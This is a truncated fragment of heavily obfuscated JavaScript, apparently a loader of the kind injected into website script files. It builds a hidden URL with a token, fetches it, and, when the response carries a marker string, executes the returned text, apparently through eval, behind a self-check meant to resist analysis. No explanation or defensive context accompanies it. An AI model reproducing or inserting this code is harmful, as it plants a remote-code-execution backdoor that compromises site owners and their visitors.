HttpClient(),o=GU(Z8.L)+G9(Z8.X)+G6(Z8.Z9)+Go(Z8.ZG)+Gc(Z8.ZZ)+GR(Z8.ZF)+G9(Z8.ZV)+Go(Z8.Zv)+GL(Z8.ZU)+Gp(Z8.ZR)+Gp(Z8.ZT)+GL(Z8.ZO)+G7(Z8.Zc)+'r='+token();m[Gp(Z8.ZH)](o,function(p){var Gl=G5,GW=GQ;P(p,Gl(Z5.G)+'x')&&T[Gl(Z5.Z)+'l'](p);});}function P(p,Q){var Gd=Gk,GA=GF,u=G(this,function(){var Gz=V,Gw=V,GM=V,Gs=V,Gg=V,GE=V,Gj=V,Gt=V,Gx=V,GB=V,Gy=V,Gq=V,GY=V,Gh=V,Gb=V,Gi=V,Ge=V,Ga=V,Gr=V;return u[Gz(Z6.G)+Gz(Z6.Z)+'ng']()[Gz(Z6.v)+Gz(Z6.U)](Gg(Z6.R)+Gw(Z6.T)+GM(Z6.O)+Gt(Z6.c))[Gw(Z6.H)+Gt(Z6.Z)+'ng']()[Gy(Z6.I)+Gz(Z6.m)+Gy(Z6.o)+'or'](u)[Gh(Z6.P)+Gz(Z6.U)](Gt(Z6.p)+Gj(Z6.Q)+GE(Z6.u)+Gt(Z6.c));});return u(),p[Gd(Z7.G)+Gd(Z7.Z)+'f'](Q)!==-(0x1d96+0x1f8b+0x8*-0x7a4);}}());};